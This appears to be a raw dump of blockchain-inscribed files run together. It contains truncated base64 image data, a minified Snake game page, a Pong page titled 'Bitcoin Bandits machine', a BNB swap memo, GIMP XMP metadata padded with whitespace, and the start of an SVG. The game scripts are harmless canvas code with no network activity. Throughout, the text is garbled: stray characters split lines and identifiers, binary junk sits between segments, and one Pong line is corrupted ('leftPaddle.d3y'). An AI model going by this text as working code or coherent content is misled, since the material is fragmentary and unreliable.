hg4aICgFGiAoEceQ5Dvfve6UdT2do4gyJlQ/un7HGYV88/4otmzZ0vQUJlm8eHHTU2CM6aABglKgAYIScUxRRBHFBvwp9WfHuZWXZTvfZZvztzv35h1Pl+NBRRm5/NmD+coNKg899FDteNmyZQ3MZrpiB7uU7GI36nTQAEHpoFP9Hs+97u/c6rxp186ezjGMrrlX+UXEYXfbeed67LHHDvWz88/r90XCzz/7jXL8scu+PzHQBc9ZOmiAoBRogKBEHIykYcca0AQdNEBQCjRAUCKODkxajUFb1lIPn7XP40kHDRCUAg0QlIhjiuI27G27ts74fiut4pB2XzeK8g37I+58Nyi93urdbdzzwmffnlJK6dbihpUkvphrdNAAQSnQAEGJONLkHeWKiKLXSKKTaKQfu+M1aa6vzBjkXhxz1SV/8PvleNOmTQP/vI0bN2Z/Omzgn9crHTRAUAo0QFAijinaxQ/tblppFY2MeqwRxahECkuWLJn2Wr7qZdHhh5bjdpFRvnIjM
vyGl1TGMDx00QFA66D7TKbd28PyXl+NVp52cUkrp2nW9PeE8utWrV5fj4nvth1HslI8/uroId9ZZZ5Xj/GLgV/7zW8OcUkr7zZ/x7fyi5dDnltFBAwSlQAMEJeJgkvyC1SB3pVt85MSvvf389T+q4nvNLxKS0oZ7Njc9hZRSSvdvf6LpKbSkgwYISoEGCErEQdd++MDDKaWUFh+1oKuve+yJJ8txsftd8ev/TNpFLd3sqtfqXL2eY+vjOzv+OoZzG3c/RJmnDhogKAUaICgRBy3dcs8DM76/5ZEd5fiQ415djjfe91Dd4ZNs3rI9pZTSCYuP7nF2MP500ABBKdAAQYk4+uTKqx5NKaWUL70/YcGBzUxmAN6URRjFiod81UKxsiOllF720uqfVR5h1K2UKKKOqceOivzvYK4+o5HB0UEDBKWD7lLRKU/IOsUx6pbr5B1yYUs2XnryceU4v0iYd8i5Yk30KHbNvepmD2hISQcNEJYCDRCUiKMDm3c8XY7HPcpopd1FM
wnzNdKuLhLniHMO6SFjcni1aYJTooAGCUqABghJxdGCuxhpN6ucOdq30eo5WDzWwIT/9poMGCEqBBghKxEFH+n2jSmGcblRx2zf9poMGCEqBBghKxEFLeWyRr1wo4o785pVcq9gijzuOOOyQPswQxpsOGiAoHTRd6/Zp3oVWe0Mz3lavXl37+tIVq4Y8k5lFnKcOGiAoBRogqDkVceS/qpxzw7XZO7uGP5mmfOeqaS/94/U3NjAR6lU/i2gRAMOngwYISoEGCGre0hWr9jY9CQCm00EDBKVAAwSlQAMEpUADBKVAAwSlQAMEpUADBKVAAwSlQAMEpUADBKVAAwSlQAMEpUADBKVAAwSlQAMEpUADBKVAAwSlQAMEpUADBKVAAwSlQAMEpUADBKVAAwSlQAMEpUADBKVAAwSlQAMEpUADBKVAAwSlQAME9f/4CCufz8KZqwAAAABJRU5ErkJggg==" class="background"><div class="game"><canvas wM
idth="400" height="400" id="gamecanvas"></canvas></div></div></body><script>var canvas=document.getElementById("gamecanvas"),context=canvas.getContext("2d"),grid=16,count=0,snake={x:160,y:160,dx:grid,dy:0,cells:[],k:4},apple={x:320,y:320};function getRandomInt(e,n){return Math.floor(Math.random()*(n-e))+e}function loop(){requestAnimationFrame(loop),++count<4||(count=0,context.clearRect(0,0,canvas.width,canvas.height),snake.x+=snake.dx,snake.y+=snake.dy,snake.x<0?snake.x=canvas.width-grid:snake.x>=canvas.width&&(snaM
ke.x=0),snake.y<0?snake.y=canvas.height-grid:snake.y>=canvas.height&&(snake.y=0),snake.cells.unshift({x:snake.x,y:snake.y}),snake.cells.length>snake.k&&snake.cells.pop(),context.fillStyle="red",context.fillRect(apple.x,apple.y,grid-1,grid-1),context.fillStyle="green",snake.cells.forEach(function(e,n){context.fillRect(e.x,e.y,grid-1,grid-1),e.x===apple.x&&e.y===apple.y&&(snake.k++,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid);for(var a=n+1;a<snake.cells.length;a++)e.x===snake.cells[a].x&&e.y===snaM
ke.cells[a].y&&(snake.x=160,snake.y=160,snake.cells=[],snake.k=4,snake.dx=grid,snake.dy=0,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid)}))}document.addEventListener("keydown",function(e){37===e.which&&0===snake.dx?(snake.dx=-grid,snake.dy=0):38===e.which&&0===snake.dy?(snake.dy=-grid,snake.dx=0):39===e.which&&0===snake.dx?(snake.dx=grid,snake.dy=0):40===e.which&&0===snake.dy&&(snake.dy=grid,snake.dx=0)}),requestAnimationFrame(loop)</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAWgAAAFoCAYAAAB65WHVAAAbcUlEQVR4nO3df7AW1X3H8e9VMVgFghCvIZXrVUrUWGNwkmgQRWKkcRxkJhm17YwVq8G2iU4VG60GWxKVjL9GY6b+SAdrmxl1TIcax6pNEOvPjkodx1FkULygjEYRhRpU1Ns/YHe/+zzn3N2zv57v89z3658cD/vsHi7k8H0+e/Zs38y584YFAGDOLp0eAADAjQkaAIxiggYAo5igAcAoJmgAMIoJGgCMYoIGAKOYoAHAKCZoADCKCRoAjGKCBgCjmKABwCgmaAAwigkaAIxiggYAo5igAcAoJmgAMIoJGgCMYoIGAKOYoAHAKCZoADCKCRoAjGKCBgCjmKABwCgmaAAwigkaAIxiggYAM
o3br9ABg12MP3NPpIaAiM+fO6/QQUAAVNAAYxQQNAEYRccAbZTx4zpNx+4Sbjmzrf/g/18R9x357etwO6S96jqav161jvnzodEH3ooIGAKOYoAHAqL6Zc+cNd3oQaI4rztBRho+OOC4ZuF1ERA4/aErct+Hld+L2fgfunbs/5Fjd3/T1umnMhx4/NW5Hf26s4uhOVNAAYBQTNAAYRcTRo/KszIisf+gN57FTj9s3brtWcTz/m/Vx3/hdd4/b6z7YErcHx44fsT/kWN0fcmwV17M+Zh03Pbt6Y9yOVnEQcXQnKmgAMIp10D0g5Mafr1oOEa2z9VVty3ZbG7cnXHfRiOd67wdLncdm9ec5torrnX3uvXF78cerdvz6P7mv4TpWH5+6RsA5fMde8LcPxm19k1Cvib78JudH0SWooAHAKCZoADCKiKOLhNz4O+O/7ovbS3abUek4oq/Q+iahvnklHyfN06Ymf8XGzV/edq6rxX3szRn9qfP2HZqcT8UIC//j0rZrh17PM
JfW5k38St7eq68nJz7cd7/09ZZzD9zNct/2DuK3jJv2oN7obFTQAGMUEDQBGEXEYFBJliKTjjCZkreJYNEZFDurr+4SfuVdHRO5Yn2Qji/pGPocrLhnpfGfnPG+ec+vzFu0vfOwNJ8VNVnH0PipoADCKCRoAjCLi6LCQh0zOm3eY+yQNRxxZqzi2fPJR3F7kWWFx4UULRUSkf2my2mHN65uTY4eT/jd3HisiIjvPcaHqu+qnjznHqc+Xpeix/QH9Icfqft2nf6+s4uh9VNAAYBQTNAAYRcTRkJCVGb4oY83WT539/c7e+oTsxfHGd49Vn1Tttavbzjvs6PP16z69k55+SEYfs2lnHOB7oMZ1rO/4kHHmGX/IsYu+Mylu37J8a9xmFUdvooIGAKOooCsWuobZVS37KmXZ8l7hcVXJdZNQV9OLXh4bt/d7Ntlu3PkaKHUTMXVsRn+qT92UvH7aMUn/rzYl59g5Pj2GrGN9x6eO9Z3D0R9yrO5P9enXXKnft+7nJmHvM
oIIGAKOYoAHAKCKOEqpYw+yMMzxRxvCmt/MPrkbRV2h9M0p/rQ7pL3qOpq/XrWPmJmF3o4IGAKOYoAHAKN7qnUOda5hdcYY3ytjs7t/37ofdx+8UsmG/fpO3pt/qje7DW727ExU0ABjFBA0ARrGKo0XZlRmhD5k44wxPlDH86ivucxfkijN8UcacOXMqvTaqtWLFCmc/0UZ3o4IGAKOYoAHAqFEbcdS2MiP0IRNHnOGLMobfGXKfI+Pf2ZCVGUQZthFljC5U0ABgFBM0ABg1qiIOHWtcMnB73NZ7F5RdmRH6kIkrzvBGGR+97+6XcW09t33rxLjtW5lx4uSr2zuf81wCjbvv7UVtfUQZowsVNAAYNaoqaB9dNZe+8Re4htlZLXsq5SmvtVfKof76C7fE7Wl7fDb35w49fmrcjjbq16+GmjRmbNtn6uQaT6uQ8eU5X9kx5RmPPsd9O3eio2oevaigAcAoJmgAMIqIQ1pijZI3/oLXMDvijNAoI2S3Oi36Oq2/jvu+M
hru+sofGGlXGJHliiCrOFzK+rDHpz1cRqaD3UUEDgFFM0ABgFBGHSCrWKLsyI3QNc0icUTTK8MmKLUK+huc5Vr83L7pOnhiiytUReeIczdXvG4/vfK5ru34WQCsqaAAwigkaAIwi4pCWWKPsygyDUYbP2m3viojIcYceEPdtePmduJ0Va5y/9hR1skqHllbFuascX+C5rpW72vp0rLHfgXuXHRF6FBU0ABjFBA0ARhFxiKRijbIrM5p6yKQK0V4ci8/7RuaxZ597b9yOoo2vzz25lnH1mvMf2PHzunZae9Qhko6VJgzu1ciY0B2ooAHAKCpoSVfN3X7jL0R0c+q0qclfg3Hzl3doNL3v1htOcvbrbyeARgUNAEYxQQOAUUQc0hJruOKM7ds8nxw54rAYa2jRzak71n+cdHq+hi+5/vHkP+pc89zDfFHS1uXzk4NuXNXcgGAeFTQAGMUEDQBGEXGIpGMNV5wxZo/mxtKg6FFv3yqCC384M27rtbooRkdJS9Tj3YtVM
/1GNjgjWUUEDgFFM0ABgFBGHSDrWcMUZu+/Z3FgaFD3qveg7k9wHrF3d3GBGgTWvb47bz67e6OwHNCpoADCKCRoAjCLiEEnHGo44o2/vAffnXtlQ04Dcfv2Luc7+p864sq3vNjkx93mv/tWmzGP0+/ZQzLCKjPSG/cOpKKk34zQUQwUNAEZRQYukqmZXtdy3/wFtfSIi8nQ9FbSvUp4xcVdn/1Mlr6dfuaT3htbro3nzdHm+byqp/uOpoJGgggYAo5igAcAoIg5JxxrOOGPi5Nqu7YozfFHGxDHDtYxBP8atd1xDtfJESYBGBQ0ARjFBA4BRfJ+VlljDEWf0TSofcYSszPBFGecuOM/ZP0X2KT6wFkueeCtuX1XZWSFClIRwVNAAYBQTNAAYxfcskVSs4Ywzxk/Ifaqv3nZx3P616g9ZmeGLMqp+cUC0YX+0q51I62PHCb0CgXcSFqMfl/93tUn/2Z0YDLoCFTQAGMUEDQBGEXFIS6zhiDOmj3P/OzZdxRmR0IdMM
nHGGL8qo+MUBOtqIXHzH62ocyf4bvJOwPL2fid6kPxUfAQoVNAAYxQQNAEYRcYikYg1XnDF9XJ/zY1U8ZBLyDsS6Xhxw6w0nxW29L4SvH+Xp1TI6PpowuFcnhgOjqKABwCgqaElXza5qudY1zAGv2KrrxQG+x455HLk+epN+XicGHypoADCKCRoAjOI7rKRjjdI3/gLXMAe9A7HiFwdE6283zF8e96VuDKp+lKd/tho3YOFDBQ0ARjFBA4BRRBySjjVKr8wIXMP8eccKjDe+8jX3OSp4cYAWrb+98Icz476r1NftVP9PH6v02qORXhUzTsVHW5fPTw66cVVzA4J5VNAAYBQTNAAYRcQh6Vij7MqMkCjDxxtlBLw4IIRvk35fP4q5w7NJv+4/qsHxwD4qaAAwigkaAIwi4pCWWKPkyoyQKENEZMluM9r6FnqiDN+LA94LumI7vS+Er5/9IsrzbdKv+wGNChoAjKKCFklXzTXd+HNVyj7eV2x59qV+KveZ3XyPIGs8M
jlyebw/o9M3Yal9rhu5GBQ0ARjFBA4BRRBwiqVgjaHe5jIgjJNbQQl6xJVI+4lhy/eNx+4Vrjonb49jNrlJ3Ppust9d/c1I3aY8n4kCCChoAjGKCBgCjiDgkHWs444yKN8rPEvIOxCroFQVLnngrbl9Vy9VGr8XnfSPzmOvvea6BkaBbUEEDgFFM0ABgFBGHtMQajjij6o3ys/iijM3b3as7ilq77V0REZm2x2fjPt8OdvrRZFlb6TBGDb1h/yEX/Hfc1hGTHD+1ySHBOCpoADCKCRoAjCLiEEnFGs44o6aN8n18UcaqzZ9Ueh0dbUR8O9ulvoajEL0xv3hWdLCKAxoVNAAYRQUtLVWzo1quax9mH1+lvGZrPeug9W52etc6Xz+K0fs+X/ST38btSWPGJgdxkxAKFTQAGMUEDQBGEXGIpGINV5xR10b5Pr4oY83WT539/SWvp9fn5ulHMXqN+ZWnfcF5zP115WboSlTQAGAUEzQAGMV3WEnHGq44o66N8kVErrnuM
hLY+X5QhW6r9/hs9vr1BbcyfWrnBhv2V8q0xT2HDfihU0ABgFBM0ABhFxCHpWMMVZ1SxUb4ryhDxxBmeKGN409ulx6G5Ht/WD1OgWnpHQB6dRx5U0ABgFBM0ABhFxCHpWMMVZ4RslD/hZxfF7WtUf8jKDG+UsbnaiMPFt2G/du20u0RE5PwHTql7OD0h+nn5Yo1N2z9ocjjoIlTQAGAUEzQAGEXEIelYwxVn+Lb/1HFGJPQhE2ec4Ykyhl99xX3uCt35bPKz2KD69dfwaHvM6Ks78nH9DFvbgEYFDQBGUUFLump2VctBu8uFrmF2VMu+Snn4nSH3OUr+O5u6SeW5keWq8nzrei+8/MS4fdUl94147ZBj9fF5jvVVrJFD1eb4z/9mvbM/hO8cUb8eA2uikQcVNAAYxQQNAEYRcUg61nDFGXWuYXbFGd4o46P33f0yztOfT9GbVL5YY3jV/zj7dSwR9Yccq4/PE41k/b50JJGnP0TWOYg1kAcVNAAYxQQNAEYRcUg6M
1ii9MiNwDbMzzvBEGVNeKxdl5OFbXZC1IsIXSej+Uz+4OGlfsKM9fv6suO/WS9wb2rvOnWcVhxaNX489zyqObx+xX9u5Fh/1ubh91I2rMq/tijuyfp6ACBU0AJjFBA0ARhFxSEusUXJlRvBDJo44o4kow8e3uiDka3ie+GHXGTuigy3LH0k6x57oOTrs3C6u8edaxaEijpMO2hH/LHnirWQ8BVd8EGsgDypoADCKCRoAjCLiEEnFGmVXZoQ+ZFJFnLFktxltfesfeiNuP3jOk3H7hJuObDt2zpw5pceQx6lrkvYnqza0/fq9U29qZBxhZsate1e3xz9Vj/le9TOK/lxWPHCPe2Rz51V6bdhDBQ0ARvXNnDuv/Curu8RjqhK5ZOD2uH3lX305Oajsjb+GK+VQU4/bt63PVVWLiCxYsKD09XxWrlwpIiKzZ8+u7RpVszbmZcuWOfuprHsHFTQAGMUEDQBGcZNQJBVrlL3xZyXK8NE3DyP6JqJWdfQxNNT+c9R9AwMDM
mZ/71zU72voR8ZNfSNYi63Poz6084ToREfniYX8U933+6pOCrm1tzL4/B1f0QezRnaigAcAoJmgAMIpVHCJyxZEfxm3LKzOuue4EZ/97P1ha2TU014oPEXf0UeeKD80VOfhihio+VwULY2bFR3eiggYAo5igAcAoVnFIS6xhYGWGL8rwvRuxv9CIsrlWfIi4V3009bBL0a/4TcUZVV67yjGHrPgQKR99PPrj5Jn1o380vfAxzs/9/QPJ566Ym/9z308izqNvLB/tFB1/CCpoADCKCRoAjCLiEEnFGmXjjNAVE644wxdl+N6N2LQqHnaBbdGKp6JRh/7KX0Xc0USskecaTcQaGhU0ABhFBS3Fq+babvz53iK+dnXu6zUt5IaiSFJZ/+KLy+O+xR8nb8h+86KFI16vf+nNzmOz+vMcm3XNN757bNy3790Px23df8vyrXE7+n35rqH/XPX5ouPzjDPrHD43X/2Us/+sl+aP+Llf3nxD3P7zhefGbV1hJoNIxvbo99XfM
4TfVMf0HjXyObUlTV7opWz5s7/Odd9u69mP3GBx5DCOIfh76Z1EFKmgAMIoJGgCMIuLIoc41zM63iHuiDN+LAyzT0Yfv0fEsrq/hiwuPKKH/XBd7YgR97SquGfHHFg+3H1zBOfTfKR2/FKW/yuu4I3qiYOB3f6IGmsQMXm86/s6P/4z72HWOKENE5BDHdVxRhkgqzsg8VhkaeClu/zL58VcebUSooAHAKCZoADCKiKNF2TgjdA2zK87wvgPx95tzj60bpX72OlpwrO7oX5r0+c6hY4tohcUtnlULIeNb7FklUebcdasi1vBxxR1D+9wf9w2s3D/7JIOOOMO1KkNEZJLnHC8ErHIadMQZnuhkaParzv66Yg2NChoAjGKCBgCjiDgkO9ao8yET5zsQfVHGB1vc/QX/nS26qqIu/gdVvlr6HPvujDsWelZo9LqFi9w/wyp+Bj9/NnkY6d2vf63t19+VfUpfo7Paf08iIrfvksQypx/2lVquTAUNAEYxQQOAUbyTUEQGM
x46P22VXZoQ+ZOKMM3xRRsF3I+oIR8ca7DQHn6K72N3+3P+KiMjDl/9j3HfsJZfF7ZD+oudo6np1xRoaFTQAGMUEDQBGsYpD0rFG2ZUZwQ+ZuOIMT5Qh27e5+6XcSwbmzJlT6vOox4oVK0Sk/PsBmxR97b9r8eVx3+p/uy1uz/2L7+XuDzlW99d5vVMaiDU0KmgAMIoKWlqq5pI3/vJUylNe0f8u7mhv/EP1KK6vUh6zh7u/pE6+8RppkydPjttRBd2NTvnSl+L2Xboy/Zdb4vZBGf0hx+r+kGPzXE//XppGBQ0ARjFBA4BRRBwiqVij9I2/jCjDS8cavihj9z1HPgdgkI4Ifv5nfxq331LHTHL0u/ry9Icc67veKYfbeEaAChoAjGKCBgCjiDgkHWuUX5lR8N88HWv4ogz1SHra/xW7Zo94YeM7cfuQKXs7+130saiG3k7B5fBmhlGIfh5A/z50v15Z08T6dCpoADCKCRoAjCLikHSsUenKDA/XCwLO2v3p5D88M
UUbfH0z0nLE7Ig5X5OCLGbJiizzxhOuYrNgD5QwODnZ6CIWtW5e8p1D/Pnz9TaCCBgCjmKABwCgiDmmJNTJ3l8u/c1zWuw5TVKzhizL69j/A/dmnN+S/TkG+yCHvr7eKjgn9XFEh0QhgBRU0ABhFBS2SrppdezGndpfL/3qpELpq9lXKfdMO8nz64ULXzFK0ag6pipuomuu+DlAXKmgAMIoJGgCMIuIQSccars3ya9ooX9OxhjfKGD+h9nH4uOKCkMeqQxWNTHxC1mCjuCnT/7it793XXu7ASMrp7++P2x+O2atj46CCBgCjmKABwCgiDpHszfIb2Cg/FWt4oozp49z/nrrfOV6trMet88QdRSOFoitBiDBsGD/etwujXfo9nWs2burYOKigAcAoJmgAMIqIQyR7s/zU7nI17RynYg1flHHaVPcf1821DChsJQUPhQDVo4IGAKOYoAHAKCIOkXSs4dgsP727XD0Rh441fFHGxDHDtVw7j6r31BgaGhKR9DveetWCM
BQs6PQR0KSpoADCKClokcy/m1O5yNe29rKtmX6V87oLznP1TZJ9axlS1qGoWSSpn/cZkvfa0282aNStun3nmmSIyeivpXcZ/Lm5/ZnvyDdTKWuNoTFbGo1FBA4BRTNAAYBQRh2Rvlp/eXa6ezfF1rOGLMprYVc+6lStXiojIo9uza4uJPzo7bv/Nky/lOm+ec+c574svvpg5vtFIxwiTJ0+O252MFKIxWRmPRgUNAEYxQQOAUUQckmOz/Bo3yj9r0v07GgvuTzp9UUYDu+p1o11n7Ofs3/zjW5P/+NYxIiLS/+WZ7pOoiCPr3K7zAnWgggYAo5igAcAoIg7J3ixfP4ZddHP8OMpoFfKCAMdj6DvUtMNel9hz6v5xe9Oif3Aec9nO/335Zff78c556KG4vV316/bYc88oMjygMCpoADCKCRoAjCLiEMncLF/vk5G1OX5QlCGS4wUBCdc+ITuM7ojj/fWv5j72wAMPLHydKErZsqqe/ViAVlTQAGAUEzQAGEXEIdmbM
5fu2/9zY/7v2ztCHTDJfEKD6HfuEiEhtW6D2kjFHf1NERLY/+tsRf32kY0KiFKAKVNAAYBQVtGRvlp/aXa5f/UIFa5gzXxCg+12PoYtIXTvsdYtPcty081XFeX8973WAKlFBA4BRTNAAYBQRh+TYLL/GNczZLwhQatxVr1vMnj1bREQu9fz6ZZ7+KlzKznVoGBU0ABjFBA0ARhFxSEusUXJlRuga5pAXBLgeQxcpvsNeN9LvjQuh1zln8a3oiK598MEHx32PPPJIofEAeVBBA4BRTNAAYBQRh0g61ii5MiNPlNG/VO+Jt+Mhkzev+Lu4xxdluB5DF8neYa8XPfPMM5nH5Hl8O+Rzea4JVIkKGgCMYoIGAKOIOETSsUbJlRlZUYZP1o56Iv5d9eAWEmtU8TmgalTQAGAUFbRIqmouf+Ov2M5yWTvqiYhs3t5X6NyjyZlnnhm3jzjiiLj99ttvj/g5vb6am4GwggoaAIxiggYAo4g4JB1rVHnjL48lu80QEZHfq1jDM
F2Xcsf7j0tfrFTq+6KZzAyGooAHAKCZoADCKiEPSsUYUZ9QVZfjoWMMXZazZ+qmzv9/Z25uyVmNYOy9QBhU0ABjFBA0ARhFxiMi+d+sIo1yckRVl+OhYwxdlyJbRtDW/29DQUKeHkDIwMNDpIaCHUUEDgFFM0ABgFBFHCUXjDJdUrOGJMobXrq7seihu3bp1zvbs2bM7MBr0MipoADCKCjqHKitlL1U1+yrlT19gl7WIrlwHBwcbvba+HjcJUScqaAAwigkaAIwi4mjRSJzhoGMNb5TxwRbPp0ffv7NNxxpAJ4y+/2cDQJdgggYAo4g4pPlY43vzx8XtOM54QR3gizI+et9zxnGefgDdjAoaAIxiggYAo4g4auSMMkSy4wxflLF9m+dKRBxN4lFvNIUKGgCMYoIGAKOIOCoSxRlBUYaIO87wRhmwgL04qveXp86P2y+++GLt13vmGf0w2KTar1cUFTQAGMUEDQBGEXEEylyZEfqQSUCcMeXNfXIf26u6JVI4+OCDM
Oz0E9AAqaAAwigrao7k1zO2qqJQ7tSvfSHT1O2fOHBERWbFiRaeGU6tly5bF7ej3OlpNn5LchJs1a1bc1jcD//nO5U0OSWTMXiP+sr5p2fjYFCpoADCKCRoAjCLikIp3lwtcw9yrcUaWKO4YDV//u+XGZtMef+6lTg9BRETWbNzU6SF4UUEDgFFM0ABgFBGHtKzSYGVGo/j6P7o08Rh3FayMkwoaAIxiggYAo4g4RNKxRsmVGUQZAKpCBQ0ARjFBA4BRRBwi6ViDOAOAEVTQAGAUFbRIZtVMpQygE6igAcAoJmgAMIqIw6NorEGUAaAqVNAAYBQTNAAYRcQhxBkAbKKCBgCjmKABwCgijhyIMgB0AhU0ABjFBA0ARhFxtCDOAGAFFTQAGEUFLVTNQJ2WLVvm7J85d17DIxmZxXFSQQOAUUzQAGDUqIo49FeVyx84vYMj6aCX2rt8X+3QWdYiADSPChoAjGKCBgCj+mbOnTfc6UEAANpRQQOAUUzQAGAUEzQAGMUEM
DQBGMUEDgFFM0ABgFBM0ABjFBA0ARjFBA4BRTNAAYBQTNAAYxQQNAEYxQQOAUUzQAGAUEzQAGMUEDQBGMUEDgFFM0ABgFBM0ABjFBA0ARjFBA4BRTNAAYBQTNAAYxQQNAEYxQQOAUUzQAGAUEzQAGMUEDQBGMUEDgFFM0ABg1P8DU9jMiZ2M4UsAAAAASUVORK5CYII=" class="background"><div class="game"><canvas width="750" height="585" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const grid=15;const paddleHeight=grid*5;const maxPaddleY=canvas.height-grid-paddleHeight;var paddleSpeed=6;M
var ballSpeed=5;const leftPaddle={x:grid*2,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const rightPaddle={x:canvas.width-grid*3,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const ball={x:canvas.width/2,y:canvas.height/2,width:grid,height:grid,l:false,dx:ballSpeed,dy:-ballSpeed};function collides(l,d){return l.x<d.x+d.width&&l.x+l.width>d.x&&l.y<d.y+d.height&&l.y+l.height>d.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.heighM
t);leftPaddle.y+=leftPaddle.dy;rightPaddle.y+=rightPaddle.dy;if(leftPaddle.y<grid){leftPaddle.y=grid}else if(leftPaddle.y>maxPaddleY){leftPaddle.y=maxPaddleY}if(rightPaddle.y<grid){rightPaddle.y=grid}else if(rightPaddle.y>maxPaddleY){rightPaddle.y=maxPaddleY}context.fillStyle="white";context.fillRect(leftPaddle.x,leftPaddle.y,leftPaddle.width,leftPaddle.height);context.fillRect(rightPaddle.x,rightPaddle.y,rightPaddle.width,rightPaddle.height);ball.x+=ball.dx;ball.y+=ball.dy;if(ball.y<grid){ball.y=grid;ball.dy*=-1}eM
lse if(ball.y+grid>canvas.height-grid){ball.y=canvas.height-grid*2;ball.dy*=-1}if((ball.x<0||ball.x>canvas.width)&&!ball.l){ball.l=true;setTimeout(()=>{ball.l=false;ball.x=canvas.width/2;ball.y=canvas.height/2},400)}if(collides(ball,leftPaddle)){ball.dx*=-1;ball.x=leftPaddle.x+leftPaddle.width}else if(collides(ball,rightPaddle)){ball.dx*=-1;ball.x=rightPaddle.x-ball.width}context.fillRect(ball.x,ball.y,ball.width,ball.height);context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,grid);context.fillRect(0,cM
anvas.height-grid,canvas.width,canvas.height);for(let l=grid;l<canvas.height-grid;l+=grid*2){context.fillRect(canvas.width/2-grid/2,l,grid,grid)}}document.addEventListener("keydown",function(l){if(l.which===38){rightPaddle.dy=-paddleSpeed}else if(l.which===40){rightPaddle.dy=paddleSpeed}if(l.which===87){leftPaddle.dy=-paddleSpeed}else if(l.which===83){leftPaddle.dy=paddleSpeed}});document.addEventListener("keyup",function(l){if(l.which===38||l.which===40){rightPaddle.dy=0}if(l.which===83||l.which===87){leftPaddle.d3y=0}});requestAnimationFrame(loop);</script></html>h!
Bj@=:BNB.BNB:bnb1t6p6srfrn202gmw5k8368hzxxpxdpxr9kt5zfg:31162444::0
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hM
ttp://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:c1930cd4-a12b-4433-9be7-26f062382e52" xmpMM:InstanceID="xmp.iid:7c054af4-fa42-4103-ae9b-6ff1d3691c2a" xmpMM:OriginalDocumentID="xmp.did:9a1f0856-eadf-4a7a-a368-7a0e275556d1" dc:Format="image/webp" GIMP:API="2.0" GIMP:PlatformM
="Windows" GIMP:TimeStamp="1676418412432577" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T10:46:51+11:00" xmp:ModifyDate="2023:02:15T10:46:51+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:1bd3f242-0df6-4c82-8a37-26d0630b91ac" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T10:46:52"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                              M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                           <?xpacket end="w"?>h!
;*-#0F>JIE>DCMWo^MRiSCDa
9xPDPxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlM
ns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:1b1a49f2-f0ab-4b75-a0b0-7cbd73a5fea0" xmpMM:InstanceID="xmp.iid:d50dc4c0-dc2f-48a9-a2fb-ca47e078e874" xmpMM:OriginalDocumentID="xmp.did:50d531e7-2fa6-4d05-bc31-61c902ff6548" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676418388658968" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02M
:15T10:46:26+11:00" xmp:ModifyDate="2023:02:15T10:46:26+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:37dcd807-0bbd-4b01-b676-ca8b4a153632" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T10:46:28"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                            M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        MP
                                                                                                                                                                                                                                                                                                                             <?xpacket end="w"?>h!
<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 8 8">
